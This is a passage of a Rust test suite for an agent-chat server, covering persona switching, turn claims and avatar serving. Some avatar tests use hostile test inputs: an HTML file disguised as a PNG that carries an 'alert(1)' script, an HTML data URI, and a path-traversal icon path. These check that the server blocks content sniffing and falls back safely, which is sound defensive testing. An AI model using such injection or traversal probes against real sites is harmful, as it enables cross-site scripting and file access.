11228 assert_eq!(saved.turns.len(), 1);
11229 assert!(!view.thinking);
11230 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11231 for agent in ["mock", "second"] {
11232 let Json(view) = call(agent).await.expect("immediate consecutive change");
11233 assert_eq!(view.talk.agent, agent);
11234 assert!(!view.thinking);
11235 assert!(!ui.is_thinking(&id));
11236 }
11237
11238 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11239 .await
11240 .expect("detail");
11241 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11242 assert_eq!(roster, ["mock", "second"]);
11243
11244 let mut closed = talks.get(&id).expect("reload");
11245 talk::close(&mut closed, &talks).expect("close");
11246 let refused = call("mock").await.expect_err("closed talk");
11247 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11248 assert!(
11249 refused.message.contains("takes no more turns"),
11250 "{}",
11251 refused.message
11252 );
11253 }
11254
11255 #[tokio::test]
11256 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11257 let tmp = TempDir::new().expect("tempdir");
11258 let repo = tmp.path().join("repo");
11259 std::fs::create_dir_all(&repo).expect("repo dir");
11260 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11261 let home = TempDir::new().expect("temp home");
11262 let talks = Talks::at(home.path().join("talks"));
11263 let ui = Arc::new(
11264 Ui::new(
11265 Queue::at(home.path().join("queue")),
11266 Questions::at(home.path().join("questions")),
11267 talks.clone(),
11268 home.path().join("runs"),
11269 home.path().to_path_buf(),
11270 repo.clone(),
11271 )
11272 .with_worktrees_root(home.path().join("wt")),
11273 );
11274 let cfg = config_for(&repo).await.expect("discover config");
11275 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11276 let id = talk.id.clone();
11277 let call = |n: u8| {
11278 talk_implementers(
11279 State(Arc::clone(&ui)),
11280 Path(id.clone()),
11281 Json(TalkImplementers { implementers: n }),
11282 )
11283 };
11284
11285 for bad in [0u8, 4] {
11286 let e = call(bad).await.expect_err("out of range");
11287 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11288 }
11289 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11290
11291 {
11292 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11295 let busy = call(2).await.expect_err("busy talk");
11296 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11297 assert!(
11298 busy.message.contains("a talk turn is running"),
11299 "{}",
11300 busy.message
11301 );
11302 drop(guard);
11303 }
11304
11305 let Json(view) = call(3).await.expect("switch");
11306 assert_eq!(view.talk.implementers, 3);
11307 assert!(talks.get(&id).expect("reload").implementers_dirty);
11308 assert!(!view.thinking);
11309 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11310 for n in [1, 2, 3] {
11311 let Json(view) = call(n).await.expect("immediate consecutive change");
11312 assert_eq!(view.talk.implementers, n);
11313 assert!(!view.thinking);
11314 assert!(!ui.is_thinking(&id));
11315 }
11316
11317 let mut closed = talks.get(&id).expect("reload");
11318 talk::close(&mut closed, &talks).expect("close");
11319 let e = call(2).await.expect_err("closed talk");
11320 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
11321 assert!(e.message.contains("takes no more turns"), "{}", e.message);
11322 }
11323
11324 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
11326 let tmp = TempDir::new().expect("tempdir");
11327 let repo = tmp.path().join("repo");
11328 std::fs::create_dir_all(&repo).expect("repo dir");
11329 std::fs::write(
11330 repo.join("magi.toml"),
11331 format!("{MOCK_AGENT_TOML}\n{extra}"),
11332 )
11333 .expect("write magi.toml");
11334 let home = TempDir::new().expect("temp home");
11335 let talks = Talks::at(home.path().join("talks"));
11336 let ui = Arc::new(
11337 Ui::new(
11338 Queue::at(home.path().join("queue")),
11339 Questions::at(home.path().join("questions")),
11340 talks.clone(),
11341 home.path().join("runs"),
11342 home.path().to_path_buf(),
11343 repo.clone(),
11344 )
11345 .with_worktrees_root(home.path().join("wt")),
11346 );
11347 let cfg = config_for(&repo).await.expect("discover config");
11348 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11349 (tmp, home, ui, talk.id, repo)
11350 }
11351
11352 #[tokio::test]
11353 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
11354 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11355 let mut conversation = ui.talks.get(&id).unwrap();
11356 talk::record(
11357 &mut conversation,
11358 &ui.talks,
11359 "# Update on a task you filed\noperator words",
11360 vec![],
11361 )
11362 .unwrap();
11363 conversation.turns[0].sender = None;
11365 conversation.turns[0].messages.clear();
11366 ui.talks.put(&mut conversation).unwrap();
11367 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
11368 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
11369 talk::drain(&mut conversation, &ui.talks).unwrap();
11370 talk::record_reply(
11371 &mut conversation,
11372 &ui.talks,
11373 "about that report",
11374 vec![],
11375 Some(talk::ReplyTarget {
11376 turn: 1,
11377 message: 1,
11378 }),
11379 )
11380 .unwrap();
11381 conversation.turns[2].messages[0]
11382 .reply
11383 .as_mut()
11384 .unwrap()
11385 .sender = None;
11386 conversation.turns.push(talk::Turn {
11387 sender: Some(talk::Sender::Persona),
11388 who: talk::Who::Agent,
11389 body: "magi: actual persona words".into(),
11390 at: Timestamp::now(),
11391 attachments: vec![],
11392 usage: None,
11393 breaks: None,
11394 messages: vec![],
11395 posted_by: None,
11396 });
11397 ui.talks.put(&mut conversation).unwrap();
11398 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11399 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
11400 assert_eq!(
11401 view.talk.turns[1].messages[0].sender,
11402 Some(talk::Sender::Operator)
11403 );
11404 assert_eq!(
11405 view.talk.turns[1].messages[1].sender,
11406 Some(talk::Sender::Magi)
11407 );
11408 assert_eq!(
11409 view.talk.turns[2].messages[0]
11410 .reply
11411 .as_ref()
11412 .unwrap()
11413 .sender,
11414 Some(talk::Sender::Magi)
11415 );
11416 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
11417 }
11418
11419 #[tokio::test]
11420 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
11421 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11422 let mut conversation = ui.talks.get(&id).unwrap();
11423 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
11424 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11425 talk::queue_notice(
11426 &mut conversation,
11427 &ui.talks,
11428 &body,
11429 "watch:123",
11430 &|_| false,
11431 None,
11432 display.clone(),
11433 )
11434 .unwrap();
11435 assert!(
11436 !talk::queue_notice(
11437 &mut conversation,
11438 &ui.talks,
11439 &body,
11440 "watch:123",
11441 &|_| false,
11442 None,
11443 display.clone()
11444 )
11445 .unwrap()
11446 );
11447 let saved = ui.talks.get(&id).unwrap();
11448 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
11449 let view = TalkView::with_config(saved, false, None, &ui.home);
11450 assert!(
11451 view.talk.turns[0].messages[0].display.is_none(),
11452 "operator copy stays literal"
11453 );
11454 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
11455 talk::drain(&mut conversation, &ui.talks).unwrap();
11456 talk::record_reply(
11457 &mut conversation,
11458 &ui.talks,
11459 "Explain",
11460 vec![],
11461 Some(talk::ReplyTarget {
11462 turn: 1,
11463 message: 0,
11464 }),
11465 )
11466 .unwrap();
11467 let mut saved = ui.talks.get(&id).unwrap();
11468 assert_eq!(saved.turns[1].messages[0].body, body);
11469 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
11470 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
11471 assert!(!reply.excerpt.contains("automatic report"));
11472 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
11475 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11476 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
11477 assert!(
11478 !view.talk.turns[2].messages[0]
11479 .reply
11480 .as_ref()
11481 .unwrap()
11482 .excerpt
11483 .contains("automatic report")
11484 );
11485 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
11486 }
11487
11488 #[tokio::test]
11489 async fn notification_display_recovers_exact_legacy_completion_references() {
11490 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11491 let mut conversation = ui.talks.get(&id).unwrap();
11492 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
11493 id: "task-123",
11494 title: "Change",
11495 status: "done",
11496 reason: None,
11497 run: Some("run-123"),
11498 pr: None,
11499 summary: Some("Merge state unknown"),
11500 });
11501 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11502 conversation.turns[0].sender = None;
11503 conversation.turns[0].messages.clear();
11504 conversation.turns[0].breaks = None;
11505 conversation.pending = body.clone();
11506 conversation
11507 .completion_notices
11508 .push(crate::chat_notify::CompletionReference {
11509 task: "task-123".into(),
11510 run: Some("run-123".into()),
11511 notice: body.clone(),
11512 });
11513 ui.talks.put(&mut conversation).unwrap();
11514 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11515 assert_eq!(
11516 view.talk.turns[0].messages[0].display,
11517 Some(display.clone())
11518 );
11519 assert_eq!(view.talk.pending_messages[0].display, Some(display));
11520 assert_eq!(
11521 view.talk.turns[0].messages[0].sender,
11522 Some(talk::Sender::Magi)
11523 );
11524 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
11525 conversation.completion_notices[0]
11526 .notice
11527 .push_str("different");
11528 let view = TalkView::with_config(conversation, false, None, &ui.home);
11529 assert!(view.talk.turns[0].messages.is_empty());
11530 assert!(view.talk.pending_messages.is_empty());
11531 }
11532
11533 #[tokio::test]
11534 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
11535 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
11536 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11537 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
11538 let _ = magi_icon_put(
11539 State(ui.clone()),
11540 Json(MagiIconUpload { icon: icon.into() }),
11541 )
11542 .await
11543 .unwrap();
11544 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11545 assert_ne!(original, changed);
11546 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11547 let response = magi_avatar(
11548 State(ui.clone()),
11549 Query(AvatarQuery {
11550 persona: None,
11551 builtin: None,
11552 }),
11553 )
11554 .await;
11555 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
11556 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
11557 assert_eq!(
11558 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
11559 "nosniff"
11560 );
11561 for bad in [
11562 "data:image/png;base64,PGh0bWw+".to_owned(),
11563 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
11564 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
11565 ] {
11566 assert!(save_magi_icon(home.path(), &bad).is_err());
11567 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11568 }
11569 let restarted = Arc::new(Ui::new(
11571 Queue::at(home.path().join("queue")),
11572 Questions::at(home.path().join("questions")),
11573 Talks::at(home.path().join("talks")),
11574 home.path().join("runs"),
11575 home.path().to_path_buf(),
11576 repo,
11577 ));
11578 assert_eq!(
11579 magi_icon_get(State(restarted.clone())).await.0["avatar"],
11580 changed
11581 );
11582 let view = TalkView::with_config(
11583 restarted.talks.get(&id).unwrap(),
11584 false,
11585 None,
11586 &restarted.home,
11587 );
11588 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
11589 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
11590 let response = magi_avatar(
11591 State(ui.clone()),
11592 Query(AvatarQuery {
11593 persona: None,
11594 builtin: None,
11595 }),
11596 )
11597 .await;
11598 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
11599 .await
11600 .unwrap();
11601 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
11602 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
11603 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
11604 let _ = magi_icon_delete(State(ui)).await.unwrap();
11605 }
11606
11607 async fn avatar(
11609 ui: &Arc<Ui>,
11610 id: &str,
11611 persona: Option<&str>,
11612 builtin: bool,
11613 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
11614 let res = talk_avatar(
11615 State(Arc::clone(ui)),
11616 Path(id.to_owned()),
11617 Query(AvatarQuery {
11618 persona: persona.map(str::to_owned),
11619 builtin: builtin.then(|| "1".to_owned()),
11620 }),
11621 )
11622 .await
11623 .expect("an avatar is never an error response");
11624 let h = res.headers();
11625 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
11626 let nosniff = h
11627 .get(header::X_CONTENT_TYPE_OPTIONS)
11628 .is_some_and(|v| v == "nosniff");
11629 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
11630 let status = res.status();
11631 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11632 .await
11633 .expect("body")
11634 .to_vec();
11635 (status, ct, nosniff, csp, body)
11636 }
11637
11638 fn tiny_png() -> Vec<u8> {
11639 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
11640 b.extend_from_slice(&[0u8; 32]);
11641 b
11642 }
11643
11644 #[tokio::test]
11645 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
11646 let res = operator_avatar().await;
11647 assert_eq!(res.status(), StatusCode::OK);
11648 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
11649 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
11650 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
11651 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
11652 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11653 .await
11654 .unwrap();
11655 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
11656 assert_ne!(
11657 persona_icon::operator_svg(),
11658 persona_icon::builtin_svg("default")
11659 );
11660 }
11661
11662 #[tokio::test]
11663 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
11664 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
11665 for p in [
11666 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
11667 ] {
11668 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
11669 assert_eq!(status, StatusCode::OK, "{p}");
11670 assert_eq!(ct, "image/svg+xml", "{p}");
11671 assert!(nosniff && csp, "{p}");
11672 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
11673 }
11674 let own = avatar(&ui, &id, None, false).await;
11676 let default = avatar(&ui, &id, Some("default"), false).await;
11677 assert_eq!(own.4, default.4);
11678 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
11679 assert_eq!(unknown.1, "image/svg+xml");
11680 }
11681
11682 #[tokio::test]
11683 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
11684 let dir = TempDir::new().expect("icons");
11685 let good = dir.path().join("good.png");
11686 std::fs::write(&good, tiny_png()).unwrap();
11687 let spoof = dir.path().join("spoof.png");
11688 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
11689 let big = dir.path().join("big.png");
11690 let mut bytes = tiny_png();
11691 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
11692 std::fs::write(&big, bytes).unwrap();
11693 let missing = dir.path().join("missing.png");
11694 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
11695 let extra = format!(
11696 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
11697 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
11698 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
11699 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
11700 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
11701 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
11702 uri(&good),
11703 uri(&spoof),
11704 uri(&big),
11705 uri(&missing),
11706 );
11707 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11708
11709 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
11710 assert_eq!(
11711 (status, ct.as_str(), nosniff),
11712 (StatusCode::OK, "image/png", true)
11713 );
11714 assert_eq!(body, tiny_png());
11715 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
11716 assert_eq!(ct, "image/png", "data URI");
11717
11718 for p in ["misato", "asuka", "shinji", "magi"] {
11719 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
11720 assert_eq!(
11721 (status, ct.as_str(), csp),
11722 (StatusCode::OK, "image/svg+xml", true),
11723 "{p}"
11724 );
11725 assert!(body.starts_with(b"<svg"), "{p}");
11726 }
11727 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
11729 assert_eq!(ct, "image/svg+xml");
11730 }
11731
11732 #[tokio::test]
11733 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
11734 let oversized = format!(
11735 "data:image/png;base64,{}",
11736 "A".repeat(persona_icon::ICON_MAX_BYTES)
11737 );
11738 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
11739 let extra = format!(
11740 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
11741 );
11742 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11743 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11744 .await
11745 .expect("detail with invalid icon");
11746 assert!(detail.personas.iter().any(|p| p.id == "custom"));
11747 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
11748 assert_eq!(status, StatusCode::OK);
11749 assert_eq!(ct, "image/svg+xml");
11750 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
11751 let Json(view) = talk_persona(
11752 State(Arc::clone(&ui)),
11753 Path(id.clone()),
11754 Json(TalkPersona {
11755 persona: "custom".into(),
11756 }),
11757 )
11758 .await
11759 .expect("persona switch with invalid icon");
11760 assert_eq!(view.talk.persona, "custom");
11761 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
11762 }
11763 }
11764
11765 #[tokio::test]
11766 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
11767 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11768 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
11769 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
11770 assert_eq!(
11771 (status, ct.as_str(), nosniff, csp),
11772 (StatusCode::OK, "image/svg+xml", true, true)
11773 );
11774 }
11775
11776 #[tokio::test]
11777 async fn the_talk_view_carries_server_built_avatar_urls_only() {
11778 let (_t, _h, ui, id, _repo) =
11779 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
11780 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11781 .await
11782 .expect("detail");
11783 let json = serde_json::to_string(&detail).unwrap();
11784 assert!(
11785 !json.contains("secret"),
11786 "the icon setting must not leak: {json}"
11787 );
11788 assert!(
11789 detail
11790 .view
11791 .persona_avatar
11792 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
11793 );
11794 assert_eq!(
11795 detail.view.operator_avatar,
11796 format!(
11797 "/avatars/operator.svg?v={}",
11798 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
11799 )
11800 );
11801 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
11802 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
11803 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
11804 assert!(rei.avatar.contains("persona=rei&v="));
11805 assert_ne!(
11806 rei.avatar.split("&v=").nth(1),
11807 plain.avatar.split("&v=").nth(1)
11808 );
11809 }
11810
11811 #[tokio::test]
11812 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11813 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11814 let cfg = config_for(&repo).await.unwrap();
11815 for arrived in [false, true] {
11816 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11817 let observed = ui.queued_generation(&id);
11818 let talk = ui.talks.get(&id).unwrap();
11819 if arrived {
11820 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11821 }
11822 let mut settling = std::pin::pin!(settle_settings_turn(
11823 talk,
11824 ui.talks.clone(),
11825 cfg.clone(),
11826 id.clone(),
11827 turn,
11828 observed
11829 ));
11830 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
11831 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
11832 assert_eq!(first.is_pending(), arrived);
11833 if arrived {
11834 assert!(!settling.await);
11835 }
11836 assert!(!ui.is_thinking(&id));
11837 }
11838 }
11839
11840 #[tokio::test]
11841 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
11842 let tmp = TempDir::new().expect("tempdir");
11843 let repo = tmp.path().join("repo");
11844 std::fs::create_dir_all(&repo).expect("repo dir");
11845 std::fs::write(
11846 repo.join("magi.toml"),
11847 format!(
11848 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
11849 ),
11850 )
11851 .expect("write magi.toml");
11852 let home = TempDir::new().expect("temp home");
11853 let talks = Talks::at(home.path().join("talks"));
11854 let ui = Arc::new(
11855 Ui::new(
11856 Queue::at(home.path().join("queue")),
11857 Questions::at(home.path().join("questions")),
11858 talks.clone(),
11859 home.path().join("runs"),
11860 home.path().to_path_buf(),
11861 repo.clone(),
11862 )
11863 .with_worktrees_root(home.path().join("wt")),
11864 );
11865 let cfg = config_for(&repo).await.expect("discover config");
11866 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11867 let id = talk.id.clone();
11868 let call = |persona: &str| {
11869 talk_persona(
11870 State(Arc::clone(&ui)),
11871 Path(id.clone()),
11872 Json(TalkPersona {
11873 persona: persona.to_owned(),
11874 }),
11875 )
11876 };
11877
11878 let unknown = call("nobody").await.expect_err("unknown persona");
11879 assert_eq!(
11880 unknown.status,
11881 StatusCode::BAD_REQUEST,
11882 "{}",
11883 unknown.message
11884 );
11885
11886 {
11887 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11890 let busy = call("rei").await.expect_err("busy talk");
11891 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11892 assert!(
11893 busy.message.contains("a talk turn is running"),
11894 "{}",
11895 busy.message
11896 );
11897 drop(guard);
11898 }
11899 assert_eq!(talks.get(&id).expect("reload").persona, "");
11900
11901 let Json(view) = call("gendo").await.expect("switch to a configured persona");
11902 assert_eq!(view.talk.persona, "gendo");
11903 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
11904 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11905 for chosen in ["default", "gendo", "rei", "gendo"] {
11907 let Json(view) = call(chosen).await.expect("immediate consecutive change");
11908 assert!(!view.thinking);
11909 assert!(!ui.is_thinking(&id));
11910 }
11911
11912 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11913 .await
11914 .expect("detail");
11915 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
11916 assert_eq!(ids.first(), Some(&"default"));
11917 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
11918
11919 let Json(view) = call("default").await.expect("back to default");
11920 assert_eq!(view.talk.persona, "");
11921
11922 let mut closed = talks.get(&id).expect("reload");
11923 talk::close(&mut closed, &talks).expect("close");
11924 let refused = call("rei").await.expect_err("closed talk");
11925 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11926 assert!(
11927 refused.message.contains("takes no more turns"),
11928 "{}",
11929 refused.message
11930 );
11931 }
11932
11933 #[tokio::test]
11934 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
11935 let f = Fixture::start().await;
11936 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
11937 let queue = f.queue();
11938 let mut mine = Task::new(
11939 "rename the loader".to_owned(),
11940 "rename the loader".to_owned(),
11941 PathBuf::from("/repo/magi"),
11942 Source::Agent {
11943 run: talk_id.clone(),
11944 node: "chat".to_owned(),
11945 },
11946 );
11947 queue.put(&mut mine).expect("file the task");
11948 let mut theirs = Task::new(
11949 "unrelated".to_owned(),
11950 "unrelated".to_owned(),
11951 PathBuf::from("/repo/magi"),
11952 Source::Human,
11953 );
11954 queue.put(&mut theirs).expect("file the task");
11955
11956 let res = f.get(&format!("/api/talks/{talk_id}")).await;
11957 assert_eq!(res.status, 200, "{}", res.body);
11958 let body = res.json();
11959 assert_eq!(
11960 body["status"], "open",
11961 "filing a task does not close a talk"
11962 );
11963 let tasks = body["tasks"].as_array().expect("tasks array");
11964 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11965 assert_eq!(tasks[0]["id"], mine.id);
11966 }
11967
11968 #[tokio::test]
11969 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11970 let (_tmp, _repo, f) = talk_fixture().await;
11971 let id = f.post("/api/talks", None).await.json()["id"]
11972 .as_str()
11973 .expect("id")
11974 .to_owned();
11975
11976 let res = f
11977 .post(
11978 &format!("/api/talks/{id}/say"),
11979 Some(r#"{"text":"what does the queue module do?"}"#),
11980 )
11981 .await;
11982 assert_eq!(res.status, 202, "{}", res.body);
11983 let queued = res.json();
11984 let turns = queued["turns"].as_array().expect("turns array");
11985 assert_eq!(
11986 turns.len(),
11987 1,
11988 "the answer reflects only what is on disk the instant it is sent, \
11989 before the agent's turn - which can run for the whole of \
11990 `[graph] timeout_talk` - has a chance to land: {queued}"
11991 );
11992 assert_eq!(turns[0]["who"], "operator");
11993 assert_eq!(turns[0]["body"], "what does the queue module do?");
11994 assert_eq!(
11995 queued["thinking"], true,
11996 "the accepted response exposes the background turn claim: {queued}"
11997 );
11998
11999 let mut turns_after = 1;
12000 for _ in 0..SETTLE_STEPS {
12001 let detail = f.get(&format!("/api/talks/{id}")).await.json();
12002 turns_after = detail["turns"].as_array().expect("turns array").len();
12003 if turns_after == 2 {
12004 break;
12005 }
12006 tokio::time::sleep(Duration::from_millis(10)).await;
12007 }
12008 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
12009 }
12010
12011 #[tokio::test]
12038 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
12039 let tmp = TempDir::new().expect("tempdir");
12040 let repo = tmp.path().join("repo");
12041 std::fs::create_dir_all(&repo).expect("repo dir");
12042 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12043 let home = TempDir::new().expect("temp home");
12044 let talks = Talks::at(home.path().join("talks"));
12045 let ui = Arc::new(
12046 Ui::new(
12047 Queue::at(home.path().join("queue")),
12048 Questions::at(home.path().join("questions")),
12049 talks.clone(),
12050 home.path().join("runs"),
12051 home.path().to_path_buf(),
12052 repo.clone(),
12053 )
12054 .with_worktrees_root(home.path().join("wt")),
12055 );
12056 let cfg = config_for(&repo).await.expect("discover config");
12057
12058 for delay in 0..40u32 {
12059 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12060 let id = talk.id.clone();
12061
12062 let handler = tokio::spawn(talk_say(
12063 State(Arc::clone(&ui)),
12064 Path(id.clone()),
12065 Ok(Json(NewTalkTurn {
12066 reply_to: None,
12067 text: "what does the queue module do?".to_owned(),
12068 attachments: Vec::new(),
12069 })),
12070 ));
12071 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12072 handler.abort();
12073 let _ = handler.await;
12076
12077 let mut turns = 0;
12078 for _ in 0..SETTLE_STEPS {
12079 if let Ok(fresh) = talks.get(&id) {
12080 turns = fresh.turns.len();
12081 if turns != 1 {
12082 break;
12083 }
12084 }
12085 tokio::time::sleep(Duration::from_millis(10)).await;
12086 }
12087 assert_ne!(
12088 turns, 1,
12089 "delay {delay}: talk {id} recorded the operator's turn but \
12090 the agent never answered - the reply task was never \
12091 started after the handler future was dropped"
12092 );
12093 }
12094 }
12095
12096 #[tokio::test]
12141 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12142 let tmp = TempDir::new().expect("tempdir");
12143 let repo = tmp.path().join("repo");
12144 std::fs::create_dir_all(&repo).expect("repo dir");
12145 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12146 let home = TempDir::new().expect("temp home");
12147 let talks = Talks::at(home.path().join("talks"));
12148 let ui = Arc::new(
12149 Ui::new(
12150 Queue::at(home.path().join("queue")),
12151 Questions::at(home.path().join("questions")),
12152 talks.clone(),
12153 home.path().join("runs"),
12154 home.path().to_path_buf(),
12155 repo.clone(),
12156 )
12157 .with_worktrees_root(home.path().join("wt")),
